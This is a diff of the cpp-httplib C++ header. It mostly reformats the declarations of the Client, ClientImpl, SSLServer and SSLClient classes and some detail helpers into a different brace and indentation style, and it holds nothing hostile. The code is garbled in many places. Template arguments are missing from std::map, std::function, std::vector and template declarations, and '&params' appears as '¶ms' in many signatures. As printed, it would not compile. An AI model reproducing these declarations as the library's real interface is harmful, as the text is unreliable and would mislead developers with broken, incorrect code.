std::chrono::duration &duration); + + void set_basic_auth(const std::string &username, const std::string &password); + void set_bearer_token_auth(const std::string &token); #ifdef CPPHTTPLIB_OPENSSL_SUPPORT - void set_digest_auth(const std::string &username, - const std::string &password); + void set_digest_auth(const std::string &username, + const std::string &password); #endif - void set_keep_alive(bool on); - void set_follow_location(bool on); + void set_keep_alive(bool on); + void set_follow_location(bool on); - void set_url_encode(bool on); + void set_url_encode(bool on); - void set_compress(bool on); + void set_compress(bool on); - void set_decompress(bool on); + void set_decompress(bool on); - void set_interface(const std::string &intf); + void set_interface(const std::string &intf); - void set_proxy(const std::string &host, int port); - void set_proxy_basic_auth(const std::string &username, - const std::string &password); - void set_proxy_bearer_token_auth(const std::string &token); + void set_proxy(const std::string &host, int port); + void set_proxy_basic_auth(const std::string &username, + const std::string &password); + void set_proxy_bearer_token_auth(const std::string &token); #ifdef CPPHTTPLIB_OPENSSL_SUPPORT - void set_proxy_digest_auth(const std::string &username, - const std::string &password); + void set_proxy_digest_auth(const std::string &username, + const std::string &password); #endif #ifdef CPPHTTPLIB_OPENSSL_SUPPORT - void set_ca_cert_path(const std::string &ca_cert_file_path, - const std::string &ca_cert_dir_path = std::string()); - void set_ca_cert_store(X509_STORE *ca_cert_store); - X509_STORE *create_ca_cert_store(const char *ca_cert, std::size_t size) const; + void set_ca_cert_path(const std::string &ca_cert_file_path, + const std::string &ca_cert_dir_path = std::string()); + void set_ca_cert_store(X509_STORE *ca_cert_store); + X509_STORE *create_ca_cert_store(const char *ca_cert, std::size_t size) const; #endif #ifdef CPPHTTPLIB_OPENSSL_SUPPORT - void enable_server_certificate_verification(bool enabled); + void enable_server_certificate_verification(bool enabled); #endif - void set_logger(Logger logger); + void set_logger(Logger logger); protected: - struct Socket { - socket_t sock = INVALID_SOCKET; + struct Socket { + socket_t sock = INVALID_SOCKET; #ifdef CPPHTTPLIB_OPENSSL_SUPPORT - SSL *ssl = nullptr; + SSL *ssl = nullptr; #endif - bool is_open() const { return sock != INVALID_SOCKET; } - }; + bool is_open() const + { + return sock != INVALID_SOCKET; + } + }; - virtual bool create_and_connect_socket(Socket &socket, Error &error); + virtual bool create_and_connect_socket(Socket &socket, Error &error); - // All of: - // shutdown_ssl - // shutdown_socket - // close_socket - // should ONLY be called when socket_mutex_ is locked. - // Also, shutdown_ssl and close_socket should also NOT be called concurrently - // with a DIFFERENT thread sending requests using that socket. - virtual void shutdown_ssl(Socket &socket, bool shutdown_gracefully); - void shutdown_socket(Socket &socket) const; - void close_socket(Socket &socket); + // All of: + // shutdown_ssl + // shutdown_socket + // close_socket + // should ONLY be called when socket_mutex_ is locked. + // Also, shutdown_ssl and close_socket should also NOT be called concurrently + // with a DIFFERENT thread sending requests using that socket. + virtual void shutdown_ssl(Socket &socket, bool shutdown_gracefully); + void shutdown_socket(Socket &socket) const; + void close_socket(Socket &socket); - bool process_request(Stream &strm, Request &req, Response &res, - bool close_connection, Error &error); + bool process_request(Stream &strm, Request &req, Response &res, + bool close_connection, Error &error); - bool write_content_with_provider(Stream &strm, const Request &req, - Error &error) const; + bool write_content_with_provider(Stream &strm, const Request &req, + Error &error) const; - void copy_settings(const ClientImpl &rhs); + void copy_settings(const ClientImpl &rhs); - // Socket endpoint information - const std::string host_; - const int port_; - const std::string host_and_port_; + // Socket endpoint information + const std::string host_; + const int port_; + const std::string host_and_port_; - // Current open socket - Socket socket_; - mutable std::mutex socket_mutex_; - std::recursive_mutex request_mutex_; + // Current open socket + Socket socket_; + mutable std::mutex socket_mutex_; + std::recursive_mutex request_mutex_; - // These are all protected under socket_mutex - size_t socket_requests_in_flight_ = 0; - std::thread::id socket_requests_are_from_thread_ = std::thread::id(); - bool socket_should_be_closed_when_request_is_done_ = false; + // These are all protected under socket_mutex + size_t socket_requests_in_flight_ = 0; + std::thread::id socket_requests_are_from_thread_ = std::thread::id(); + bool socket_should_be_closed_when_request_is_done_ = false; - // Hostname-IP map - std::map addr_map_; + // Hostname-IP map + std::map addr_map_; - // Default headers - Headers default_headers_; + // Default headers + Headers default_headers_; - // Header writer - std::function header_writer_ = - detail::write_headers; + // Header writer + std::function header_writer_ = + detail::write_headers; - // Settings - std::string client_cert_path_; - std::string client_key_path_; + // Settings + std::string client_cert_path_; + std::string client_key_path_; - time_t connection_timeout_sec_ = CPPHTTPLIB_CONNECTION_TIMEOUT_SECOND; - time_t connection_timeout_usec_ = CPPHTTPLIB_CONNECTION_TIMEOUT_USECOND; - time_t read_timeout_sec_ = CPPHTTPLIB_READ_TIMEOUT_SECOND; - time_t read_timeout_usec_ = CPPHTTPLIB_READ_TIMEOUT_USECOND; - time_t write_timeout_sec_ = CPPHTTPLIB_WRITE_TIMEOUT_SECOND; - time_t write_timeout_usec_ = CPPHTTPLIB_WRITE_TIMEOUT_USECOND; + time_t connection_timeout_sec_ = CPPHTTPLIB_CONNECTION_TIMEOUT_SECOND; + time_t connection_timeout_usec_ = CPPHTTPLIB_CONNECTION_TIMEOUT_USECOND; + time_t read_timeout_sec_ = CPPHTTPLIB_READ_TIMEOUT_SECOND; + time_t read_timeout_usec_ = CPPHTTPLIB_READ_TIMEOUT_USECOND; + time_t write_timeout_sec_ = CPPHTTPLIB_WRITE_TIMEOUT_SECOND; + time_t write_timeout_usec_ = CPPHTTPLIB_WRITE_TIMEOUT_USECOND; - std::string basic_auth_username_; - std::string basic_auth_password_; - std::string bearer_token_auth_token_; + std::string basic_auth_username_; + std::string basic_auth_password_; + std::string bearer_token_auth_token_; #ifdef CPPHTTPLIB_OPENSSL_SUPPORT - std::string digest_auth_username_; - std::string digest_auth_password_; + std::string digest_auth_username_; + std::string digest_auth_password_; #endif - bool keep_alive_ = false; - bool follow_location_ = false; + bool keep_alive_ = false; + bool follow_location_ = false; - bool url_encode_ = true; + bool url_encode_ = true; - int address_family_ = AF_UNSPEC; - bool tcp_nodelay_ = CPPHTTPLIB_TCP_NODELAY; - SocketOptions socket_options_ = nullptr; + int address_family_ = AF_UNSPEC; + bool tcp_nodelay_ = CPPHTTPLIB_TCP_NODELAY; + SocketOptions socket_options_ = nullptr; - bool compress_ = false; - bool decompress_ = true; + bool compress_ = false; + bool decompress_ = true; - std::string interface_; + std::string interface_; - std::string proxy_host_; - int proxy_port_ = -1; + std::string proxy_host_; + int proxy_port_ = -1; - std::string proxy_basic_auth_username_; - std::string proxy_basic_auth_password_; - std::string proxy_bearer_token_auth_token_; + std::string proxy_basic_auth_username_; + std::string proxy_basic_auth_password_; + std::string proxy_bearer_token_auth_token_; #ifdef CPPHTTPLIB_OPENSSL_SUPPORT - std::string proxy_digest_auth_username_; - std::string proxy_digest_auth_password_; + std::string proxy_digest_auth_username_; + std::string proxy_digest_auth_password_; #endif #ifdef CPPHTTPLIB_OPENSSL_SUPPORT - std::string ca_cert_file_path_; - std::string ca_cert_dir_path_; + std::string ca_cert_file_path_; + std::string ca_cert_dir_path_; - X509_STORE *ca_cert_store_ = nullptr; + X509_STORE *ca_cert_store_ = nullptr; #endif #ifdef CPPHTTPLIB_OPENSSL_SUPPORT - bool server_certificate_verification_ = true; + bool server_certificate_verification_ = true; #endif - Logger logger_; + Logger logger_; private: - bool send_(Request &req, Response &res, Error &error); - Result send_(Request &&req); + bool send_(Request &req, Response &res, Error &error); + Result send_(Request &&req); - socket_t create_client_socket(Error &error) const; - bool read_response_line(Stream &strm, const Request &req, - Response &res) const; - bool write_request(Stream &strm, Request &req, bool close_connection, - Error &error); - bool redirect(Request &req, Response &res, Error &error); - bool handle_request(Stream &strm, Request &req, Response &res, - bool close_connection, Error &error); - std::unique_ptr send_with_content_provider( - Request &req, const char *body, size_t content_length, - ContentProvider content_provider, - ContentProviderWithoutLength content_provider_without_length, - const std::string &content_type, Error &error); - Result send_with_content_provider( - const std::string &method, const std::string &path, - const Headers &headers, const char *body, size_t content_length, - ContentProvider content_provider, - ContentProviderWithoutLength content_provider_without_length, - const std::string &content_type); - ContentProviderWithoutLength get_multipart_content_provider( - const std::string &boundary, const MultipartFormDataItems &items, - const MultipartFormDataProviderItems &provider_items) const; + socket_t create_client_socket(Error &error) const; + bool read_response_line(Stream &strm, const Request &req, + Response &res) const; + bool write_request(Stream &strm, Request &req, bool close_connection, + Error &error); + bool redirect(Request &req, Response &res, Error &error); + bool handle_request(Stream &strm, Request &req, Response &res, + bool close_connection, Error &error); + std::unique_ptr send_with_content_provider( + Request &req, const char *body, size_t content_length, + ContentProvider content_provider, + ContentProviderWithoutLength content_provider_without_length, + const std::string &content_type, Error &error); + Result send_with_content_provider( + const std::string &method, const std::string &path, + const Headers &headers, const char *body, size_t content_length, + ContentProvider content_provider, + ContentProviderWithoutLength content_provider_without_length, + const std::string &content_type); + ContentProviderWithoutLength get_multipart_content_provider( + const std::string &boundary, const MultipartFormDataItems &items, + const MultipartFormDataProviderItems &provider_items) const; - std::string adjust_host_string(const std::string &host) const; + std::string adjust_host_string(const std::string &host) const; - virtual bool process_socket(const Socket &socket, - std::function callback); - virtual bool is_ssl() const; + virtual bool process_socket(const Socket &socket, + std::function callback); + virtual bool is_ssl() const; }; -class Client { +class Client +{ public: - // Universal interface - explicit Client(const std::string &scheme_host_port); + // Universal interface + explicit Client(const std::string &scheme_host_port); - explicit Client(const std::string &scheme_host_port, - const std::string &client_cert_path, - const std::string &client_key_path); + explicit Client(const std::string &scheme_host_port, + const std::string &client_cert_path, + const std::string &client_key_path); - // HTTP only interface - explicit Client(const std::string &host, int port); + // HTTP only interface + explicit Client(const std::string &host, int port); - explicit Client(const std::string &host, int port, - const std::string &client_cert_path, - const std::string &client_key_path); + explicit Client(const std::string &host, int port, + const std::string &client_cert_path, + const std::string &client_key_path); - Client(Client &&) = default; + Client(Client &&) = default; - ~Client(); + ~Client(); - bool is_valid() const; + bool is_valid() const; - Result Get(const std::string &path); - Result Get(const std::string &path, const Headers &headers); - Result Get(const std::string &path, Progress progress); - Result Get(const std::string &path, const Headers &headers, - Progress progress); - Result Get(const std::string &path, ContentReceiver content_receiver); - Result Get(const std::string &path, const Headers &headers, - ContentReceiver content_receiver); - Result Get(const std::string &path, ContentReceiver content_receiver, - Progress progress); - Result Get(const std::string &path, const Headers &headers, - ContentReceiver content_receiver, Progress progress); - Result Get(const std::string &path, ResponseHandler response_handler, - ContentReceiver content_receiver); - Result Get(const std::string &path, const Headers &headers, - ResponseHandler response_handler, - ContentReceiver content_receiver); - Result Get(const std::string &path, const Headers &headers, - ResponseHandler response_handler, ContentReceiver content_receiver, - Progress progress); - Result Get(const std::string &path, ResponseHandler response_handler, - ContentReceiver content_receiver, Progress progress); + Result Get(const std::string &path); + Result Get(const std::string &path, const Headers &headers); + Result Get(const std::string &path, Progress progress); + Result Get(const std::string &path, const Headers &headers, + Progress progress); + Result Get(const std::string &path, ContentReceiver content_receiver); + Result Get(const std::string &path, const Headers &headers, + ContentReceiver content_receiver); + Result Get(const std::string &path, ContentReceiver content_receiver, + Progress progress); + Result Get(const std::string &path, const Headers &headers, + ContentReceiver content_receiver, Progress progress); + Result Get(const std::string &path, ResponseHandler response_handler, + ContentReceiver content_receiver); + Result Get(const std::string &path, const Headers &headers, + ResponseHandler response_handler, + ContentReceiver content_receiver); + Result Get(const std::string &path, const Headers &headers, + ResponseHandler response_handler, ContentReceiver content_receiver, + Progress progress); + Result Get(const std::string &path, ResponseHandler response_handler, + ContentReceiver content_receiver, Progress progress); - Result Get(const std::string &path, const Params ¶ms, - const Headers &headers, Progress progress = nullptr); - Result Get(const std::string &path, const Params ¶ms, - const Headers &headers, ContentReceiver content_receiver, - Progress progress = nullptr); - Result Get(const std::string &path, const Params ¶ms, - const Headers &headers, ResponseHandler response_handler, - ContentReceiver content_receiver, Progress progress = nullptr); + Result Get(const std::string &path, const Params ¶ms, + const Headers &headers, Progress progress = nullptr); + Result Get(const std::string &path, const Params ¶ms, + const Headers &headers, ContentReceiver content_receiver, + Progress progress = nullptr); + Result Get(const std::string &path, const Params ¶ms, + const Headers &headers, ResponseHandler response_handler, + ContentReceiver content_receiver, Progress progress = nullptr); - Result Head(const std::string &path); - Result Head(const std::string &path, const Headers &headers); + Result Head(const std::string &path); + Result Head(const std::string &path, const Headers &headers); - Result Post(const std::string &path); - Result Post(const std::string &path, const Headers &headers); - Result Post(const std::string &path, const char *body, size_t content_length, - const std::string &content_type); - Result Post(const std::string &path, const Headers &headers, const char *body, - size_t content_length, const std::string &content_type); - Result Post(const std::string &path, const std::string &body, - const std::string &content_type); - Result Post(const std::string &path, const Headers &headers, - const std::string &body, const std::string &content_type); - Result Post(const std::string &path, size_t content_length, - ContentProvider content_provider, - const std::string &content_type); - Result Post(const std::string &path, - ContentProviderWithoutLength content_provider, - const std::string &content_type); - Result Post(const std::string &path, const Headers &headers, - size_t content_length, ContentProvider content_provider, - const std::string &content_type); - Result Post(const std::string &path, const Headers &headers, - ContentProviderWithoutLength content_provider, - const std::string &content_type); - Result Post(const std::string &path, const Params ¶ms); - Result Post(const std::string &path, const Headers &headers, - const Params ¶ms); - Result Post(const std::string &path, const MultipartFormDataItems &items); - Result Post(const std::string &path, const Headers &headers, - const MultipartFormDataItems &items); - Result Post(const std::string &path, const Headers &headers, - const MultipartFormDataItems &items, const std::string &boundary); - Result Post(const std::string &path, const Headers &headers, - const MultipartFormDataItems &items, - const MultipartFormDataProviderItems &provider_items); + Result Post(const std::string &path); + Result Post(const std::string &path, const Headers &headers); + Result Post(const std::string &path, const char *body, size_t content_length, + const std::string &content_type); + Result Post(const std::string &path, const Headers &headers, const char *body, + size_t content_length, const std::string &content_type); + Result Post(const std::string &path, const std::string &body, + const std::string &content_type); + Result Post(const std::string &path, const Headers &headers, + const std::string &body, const std::string &content_type); + Result Post(const std::string &path, size_t content_length, + ContentProvider content_provider, + const std::string &content_type); + Result Post(const std::string &path, + ContentProviderWithoutLength content_provider, + const std::string &content_type); + Result Post(const std::string &path, const Headers &headers, + size_t content_length, ContentProvider content_provider, + const std::string &content_type); + Result Post(const std::string &path, const Headers &headers, + ContentProviderWithoutLength content_provider, + const std::string &content_type); + Result Post(const std::string &path, const Params ¶ms); + Result Post(const std::string &path, const Headers &headers, + const Params ¶ms); + Result Post(const std::string &path, const MultipartFormDataItems &items); + Result Post(const std::string &path, const Headers &headers, + const MultipartFormDataItems &items); + Result Post(const std::string &path, const Headers &headers, + const MultipartFormDataItems &items, const std::string &boundary); + Result Post(const std::string &path, const Headers &headers, + const MultipartFormDataItems &items, + const MultipartFormDataProviderItems &provider_items); - Result Put(const std::string &path); - Result Put(const std::string &path, const char *body, size_t content_length, - const std::string &content_type); - Result Put(const std::string &path, const Headers &headers, const char *body, - size_t content_length, const std::string &content_type); - Result Put(const std::string &path, const std::string &body, - const std::string &content_type); - Result Put(const std::string &path, const Headers &headers, - const std::string &body, const std::string &content_type); - Result Put(const std::string &path, size_t content_length, - ContentProvider content_provider, const std::string &content_type); - Result Put(const std::string &path, - ContentProviderWithoutLength content_provider, - const std::string &content_type); - Result Put(const std::string &path, const Headers &headers, - size_t content_length, ContentProvider content_provider, - const std::string &content_type); - Result Put(const std::string &path, const Headers &headers, - ContentProviderWithoutLength content_provider, - const std::string &content_type); - Result Put(const std::string &path, const Params ¶ms); - Result Put(const std::string &path, const Headers &headers, - const Params ¶ms); - Result Put(const std::string &path, const MultipartFormDataItems &items); - Result Put(const std::string &path, const Headers &headers, - const MultipartFormDataItems &items); - Result Put(const std::string &path, const Headers &headers, - const MultipartFormDataItems &items, const std::string &boundary); - Result Put(const std::string &path, const Headers &headers, - const MultipartFormDataItems &items, - const MultipartFormDataProviderItems &provider_items); - - Result Patch(const std::string &path); - Result Patch(const std::string &path, const char *body, size_t content_length, + Result Put(const std::string &path); + Result Put(const std::string &path, const char *body, size_t content_length, const std::string &content_type); - Result Patch(const std::string &path, const Headers &headers, - const char *body, size_t content_length, + Result Put(const std::string &path, const Headers &headers, const char *body, + size_t content_length, const std::string &content_type); + Result Put(const std::string &path, const std::string &body, const std::string &content_type); - Result Patch(const std::string &path, const std::string &body, - const std::string &content_type); - Result Patch(const std::string &path, const Headers &headers, + Result Put(const std::string &path, const Headers &headers, const std::string &body, const std::string &content_type); - Result Patch(const std::string &path, size_t content_length, - ContentProvider content_provider, - const std::string &content_type); - Result Patch(const std::string &path, + Result Put(const std::string &path, size_t content_length, + ContentProvider content_provider, const std::string &content_type); + Result Put(const std::string &path, ContentProviderWithoutLength content_provider, const std::string &content_type); - Result Patch(const std::string &path, const Headers &headers, + Result Put(const std::string &path, const Headers &headers, size_t content_length, ContentProvider content_provider, const std::string &content_type); - Result Patch(const std::string &path, const Headers &headers, + Result Put(const std::string &path, const Headers &headers, ContentProviderWithoutLength content_provider, const std::string &content_type); + Result Put(const std::string &path, const Params ¶ms); + Result Put(const std::string &path, const Headers &headers, + const Params ¶ms); + Result Put(const std::string &path, const MultipartFormDataItems &items); + Result Put(const std::string &path, const Headers &headers, + const MultipartFormDataItems &items); + Result Put(const std::string &path, const Headers &headers, + const MultipartFormDataItems &items, const std::string &boundary); + Result Put(const std::string &path, const Headers &headers, + const MultipartFormDataItems &items, + const MultipartFormDataProviderItems &provider_items); - Result Delete(const std::string &path); - Result Delete(const std::string &path, const Headers &headers); - Result Delete(const std::string &path, const char *body, - size_t content_length, const std::string &content_type); - Result Delete(const std::string &path, const Headers &headers, - const char *body, size_t content_length, - const std::string &content_type); - Result Delete(const std::string &path, const std::string &body, - const std::string &content_type); - Result Delete(const std::string &path, const Headers &headers, - const std::string &body, const std::string &content_type); + Result Patch(const std::string &path); + Result Patch(const std::string &path, const char *body, size_t content_length, + const std::string &content_type); + Result Patch(const std::string &path, const Headers &headers, + const char *body, size_t content_length, + const std::string &content_type); + Result Patch(const std::string &path, const std::string &body, + const std::string &content_type); + Result Patch(const std::string &path, const Headers &headers, + const std::string &body, const std::string &content_type); + Result Patch(const std::string &path, size_t content_length, + ContentProvider content_provider, + const std::string &content_type); + Result Patch(const std::string &path, + ContentProviderWithoutLength content_provider, + const std::string &content_type); + Result Patch(const std::string &path, const Headers &headers, + size_t content_length, ContentProvider content_provider, + const std::string &content_type); + Result Patch(const std::string &path, const Headers &headers, + ContentProviderWithoutLength content_provider, + const std::string &content_type); - Result Options(const std::string &path); - Result Options(const std::string &path, const Headers &headers); + Result Delete(const std::string &path); + Result Delete(const std::string &path, const Headers &headers); + Result Delete(const std::string &path, const char *body, + size_t content_length, const std::string &content_type); + Result Delete(const std::string &path, const Headers &headers, + const char *body, size_t content_length, + const std::string &content_type); + Result Delete(const std::string &path, const std::string &body, + const std::string &content_type); + Result Delete(const std::string &path, const Headers &headers, + const std::string &body, const std::string &content_type); - bool send(Request &req, Response &res, Error &error); - Result send(const Request &req); + Result Options(const std::string &path); + Result Options(const std::string &path, const Headers &headers); - void stop(); + bool send(Request &req, Response &res, Error &error); + Result send(const Request &req); - std::string host() const; - int port() const; + void stop(); - size_t is_socket_open() const; - socket_t socket() const; + std::string host() const; + int port() const; - void set_hostname_addr_map(std::map addr_map); + size_t is_socket_open() const; + socket_t socket() const; - void set_default_headers(Headers headers); + void set_hostname_addr_map(std::map addr_map); - void - set_header_writer(std::function const &writer); + void set_default_headers(Headers headers); - void set_address_family(int family); - void set_tcp_nodelay(bool on); - void set_socket_options(SocketOptions socket_options); + void + set_header_writer(std::function const &writer); - void set_connection_timeout(time_t sec, time_t usec = 0); - template - void - set_connection_timeout(const std::chrono::duration &duration); + void set_address_family(int family); + void set_tcp_nodelay(bool on); + void set_socket_options(SocketOptions socket_options); - void set_read_timeout(time_t sec, time_t usec = 0); - template - void set_read_timeout(const std::chrono::duration &duration); + void set_connection_timeout(time_t sec, time_t usec = 0); + template + void + set_connection_timeout(const std::chrono::duration &duration); - void set_write_timeout(time_t sec, time_t usec = 0); - template - void set_write_timeout(const std::chrono::duration &duration); + void set_read_timeout(time_t sec, time_t usec = 0); + template + void set_read_timeout(const std::chrono::duration &duration); - void set_basic_auth(const std::string &username, const std::string &password); - void set_bearer_token_auth(const std::string &token); + void set_write_timeout(time_t sec, time_t usec = 0); + template + void set_write_timeout(const std::chrono::duration &duration); + + void set_basic_auth(const std::string &username, const std::string &password); + void set_bearer_token_auth(const std::string &token); #ifdef CPPHTTPLIB_OPENSSL_SUPPORT - void set_digest_auth(const std::string &username, - const std::string &password); + void set_digest_auth(const std::string &username, + const std::string &password); #endif - void set_keep_alive(bool on); - void set_follow_location(bool on); + void set_keep_alive(bool on); + void set_follow_location(bool on); - void set_url_encode(bool on); + void set_url_encode(bool on); - void set_compress(bool on); + void set_compress(bool on); - void set_decompress(bool on); + void set_decompress(bool on); - void set_interface(const std::string &intf); + void set_interface(const std::string &intf); - void set_proxy(const std::string &host, int port); - void set_proxy_basic_auth(const std::string &username, - const std::string &password); - void set_proxy_bearer_token_auth(const std::string &token); + void set_proxy(const std::string &host, int port); + void set_proxy_basic_auth(const std::string &username, + const std::string &password); + void set_proxy_bearer_token_auth(const std::string &token); #ifdef CPPHTTPLIB_OPENSSL_SUPPORT - void set_proxy_digest_auth(const std::string &username, - const std::string &password); + void set_proxy_digest_auth(const std::string &username, + const std::string &password); #endif #ifdef CPPHTTPLIB_OPENSSL_SUPPORT - void enable_server_certificate_verification(bool enabled); + void enable_server_certificate_verification(bool enabled); #endif - void set_logger(Logger logger); + void set_logger(Logger logger); - // SSL + // SSL #ifdef CPPHTTPLIB_OPENSSL_SUPPORT - void set_ca_cert_path(const std::string &ca_cert_file_path, - const std::string &ca_cert_dir_path = std::string()); + void set_ca_cert_path(const std::string &ca_cert_file_path, + const std::string &ca_cert_dir_path = std::string()); - void set_ca_cert_store(X509_STORE *ca_cert_store); - void load_ca_cert_store(const char *ca_cert, std::size_t size); + void set_ca_cert_store(X509_STORE *ca_cert_store); + void load_ca_cert_store(const char *ca_cert, std::size_t size); - long get_openssl_verify_result() const; + long get_openssl_verify_result() const; - SSL_CTX *ssl_context() const; + SSL_CTX *ssl_context() const; #endif private: - std::unique_ptr cli_; + std::unique_ptr cli_; #ifdef CPPHTTPLIB_OPENSSL_SUPPORT - bool is_ssl_ = false; + bool is_ssl_ = false; #endif }; #ifdef CPPHTTPLIB_OPENSSL_SUPPORT -class SSLServer : public Server { +class SSLServer : public Server +{ public: - SSLServer(const char *cert_path, const char *private_key_path, - const char *client_ca_cert_file_path = nullptr, - const char *client_ca_cert_dir_path = nullptr, - const char *private_key_password = nullptr); + SSLServer(const char *cert_path, const char *private_key_path, + const char *client_ca_cert_file_path = nullptr, + const char *client_ca_cert_dir_path = nullptr, + const char *private_key_password = nullptr); - SSLServer(X509 *cert, EVP_PKEY *private_key, - X509_STORE *client_ca_cert_store = nullptr); + SSLServer(X509 *cert, EVP_PKEY *private_key, + X509_STORE *client_ca_cert_store = nullptr); - SSLServer( - const std::function &setup_ssl_ctx_callback); + SSLServer( + const std::function &setup_ssl_ctx_callback); - ~SSLServer() override; + ~SSLServer() override; - bool is_valid() const override; + bool is_valid() const override; - SSL_CTX *ssl_context() const; + SSL_CTX *ssl_context() const; private: - bool process_and_close_socket(socket_t sock) override; + bool process_and_close_socket(socket_t sock) override; - SSL_CTX *ctx_; - std::mutex ctx_mutex_; + SSL_CTX *ctx_; + std::mutex ctx_mutex_; }; -class SSLClient : public ClientImpl { +class SSLClient : public ClientImpl +{ public: - explicit SSLClient(const std::string &host); + explicit SSLClient(const std::string &host); - explicit SSLClient(const std::string &host, int port); + explicit SSLClient(const std::string &host, int port); - explicit SSLClient(const std::string &host, int port, - const std::string &client_cert_path, - const std::string &client_key_path); + explicit SSLClient(const std::string &host, int port, + const std::string &client_cert_path, + const std::string &client_key_path); - explicit SSLClient(const std::string &host, int port, X509 *client_cert, - EVP_PKEY *client_key); + explicit SSLClient(const std::string &host, int port, X509 *client_cert, + EVP_PKEY *client_key); - ~SSLClient() override; + ~SSLClient() override; - bool is_valid() const override; + bool is_valid() const override; - void set_ca_cert_store(X509_STORE *ca_cert_store); - void load_ca_cert_store(const char *ca_cert, std::size_t size); + void set_ca_cert_store(X509_STORE *ca_cert_store); + void load_ca_cert_store(const char *ca_cert, std::size_t size); - long get_openssl_verify_result() const; + long get_openssl_verify_result() const; - SSL_CTX *ssl_context() const; + SSL_CTX *ssl_context() const; private: - bool create_and_connect_socket(Socket &socket, Error &error) override; - void shutdown_ssl(Socket &socket, bool shutdown_gracefully) override; - void shutdown_ssl_impl(Socket &socket, bool shutdown_gracefully); + bool create_and_connect_socket(Socket &socket, Error &error) override; + void shutdown_ssl(Socket &socket, bool shutdown_gracefully) override; + void shutdown_ssl_impl(Socket &socket, bool shutdown_gracefully); - bool process_socket(const Socket &socket, - std::function callback) override; - bool is_ssl() const override; + bool process_socket(const Socket &socket, + std::function callback) override; + bool is_ssl() const override; - bool connect_with_proxy(Socket &sock, Response &res, bool &success, - Error &error); - bool initialize_ssl(Socket &socket, Error &error); + bool connect_with_proxy(Socket &sock, Response &res, bool &success, + Error &error); + bool initialize_ssl(Socket &socket, Error &error); - bool load_certs(); + bool load_certs(); - bool verify_host(X509 *server_cert) const; - bool verify_host_with_subject_alt_name(X509 *server_cert) const; - bool verify_host_with_common_name(X509 *server_cert) const; - bool check_host_name(const char *pattern, size_t pattern_len) const; + bool verify_host(X509 *server_cert) const; + bool verify_host_with_subject_alt_name(X509 *server_cert) const; + bool verify_host_with_common_name(X509 *server_cert) const; + bool check_host_name(const char *pattern, size_t pattern_len) const; - SSL_CTX *ctx_; - std::mutex ctx_mutex_; - std::once_flag initialize_cert_; + SSL_CTX *ctx_; + std::mutex ctx_mutex_; + std::once_flag initialize_cert_; - std::vector host_components_; + std::vector host_components_; - long verify_result_ = 0; + long verify_result_ = 0; - friend class ClientImpl; + friend class ClientImpl; }; #endif @@ -1789,256 +1860,360 @@ private: * Implementation of template methods. */ -namespace detail { +namespace detail +{ template -inline void duration_to_sec_and_usec(const T &duration, U callback) { - auto sec = std::chrono::duration_cast(duration).count(); - auto usec = std::chrono::duration_cast( - duration - std::chrono::seconds(sec)) - .count(); - callback(static_cast(sec), static_cast(usec)); +inline void duration_to_sec_and_usec(const T &duration, U callback) +{ + auto sec = std::chrono::duration_cast(duration).count(); + auto usec = std::chrono::duration_cast( + duration - std::chrono::seconds(sec)) + .count(); + callback(static_cast(sec), static_cast(usec)); } inline uint64_t get_header_value_u64(const Headers &headers, const std::string &key, size_t id, - uint64_t def) { - auto rng = headers.equal_range(key); - auto it = rng.first; - std::advance(it, static_cast(id)); - if (it != rng.second) { - return std::strtoull(it->second.data(), nullptr, 10); - } - return def; + uint64_t def) +{ + auto rng = headers.equal_range(key); + auto it = rng.first; + std::advance(it, static_cast(id)); + if (it != rng.second) { + return std::strtoull(it->second.data(), nullptr, 10); + } + return def; } } // namespace detail inline uint64_t Request::get_header_value_u64(const std::string &key, - size_t id) const { - return detail::get_header_value_u64(headers, key, id, 0); + size_t id) const +{ + return detail::get_header_value_u64(headers, key, id, 0); } inline uint64_t Response::get_header_value_u64(const std::string &key, - size_t id) const { - return detail::get_header_value_u64(headers, key, id, 0); + size_t id) const +{ + return detail::get_header_value_u64(headers, key, id, 0); } template -inline ssize_t Stream::write_format(const char *fmt, const Args &...args) { - const auto bufsiz = 2048; - std::array buf{}; +inline ssize_t Stream::write_format(const char *fmt, const Args &...args) +{ + const auto bufsiz = 2048; + std::array buf{}; - auto sn = snprintf(buf.data(), buf.size() - 1, fmt, args...); - if (sn <= 0) { return sn; } - - auto n = static_cast(sn); - - if (n >= buf.size() - 1) { - std::vector glowable_buf(buf.size()); - - while (n >= glowable_buf.size() - 1) { - glowable_buf.resize(glowable_buf.size() * 2); - n = static_cast( - snprintf(&glowable_buf[0], glowable_buf.size() - 1, fmt, args...)); + auto sn = snprintf(buf.data(), buf.size() - 1, fmt, args...); + if (sn <= 0) { + return sn; + } + + auto n = static_cast(sn); + + if (n >= buf.size() - 1) { + std::vector glowable_buf(buf.size()); + + while (n >= glowable_buf.size() - 1) { + glowable_buf.resize(glowable_buf.size() * 2); + n = static_cast( + snprintf(&glowable_buf[0], glowable_buf.size() - 1, fmt, args...)); + } + return write(&glowable_buf[0], n); + } else { + return write(buf.data(), n); } - return write(&glowable_buf[0], n); - } else { - return write(buf.data(), n); - } } -inline void default_socket_options(socket_t sock) { - int yes = 1; +inline void default_socket_options(socket_t sock) +{ + int yes = 1; #ifdef _WIN32 - setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, - reinterpret_cast(&yes), sizeof(yes)); - setsockopt(sock, SOL_SOCKET, SO_EXCLUSIVEADDRUSE, - reinterpret_cast(&yes), sizeof(yes)); + setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, + reinterpret_cast(&yes), sizeof(yes)); + setsockopt(sock, SOL_SOCKET, SO_EXCLUSIVEADDRUSE, + reinterpret_cast(&yes), sizeof(yes)); #else #ifdef SO_REUSEPORT - setsockopt(sock, SOL_SOCKET, SO_REUSEPORT, - reinterpret_cast(&yes), sizeof(yes)); + setsockopt(sock, SOL_SOCKET, SO_REUSEPORT, + reinterpret_cast(&yes), sizeof(yes)); #else - setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, - reinterpret_cast(&yes), sizeof(yes)); + setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, + reinterpret_cast(&yes), sizeof(yes)); #endif #endif } -inline const char *status_message(int status) { - switch (status) { - case StatusCode::Continue_100: return "Continue"; - case StatusCode::SwitchingProtocol_101: return "Switching Protocol"; - case StatusCode::Processing_102: return "Processing"; - case StatusCode::EarlyHints_103: return "Early Hints"; - case StatusCode::OK_200: return "OK"; - case StatusCode::Created_201: return "Created"; - case StatusCode::Accepted_202: return "Accepted"; - case StatusCode::NonAuthoritativeInformation_203: - return "Non-Authoritative Information"; - case StatusCode::NoContent_204: return "No Content"; - case 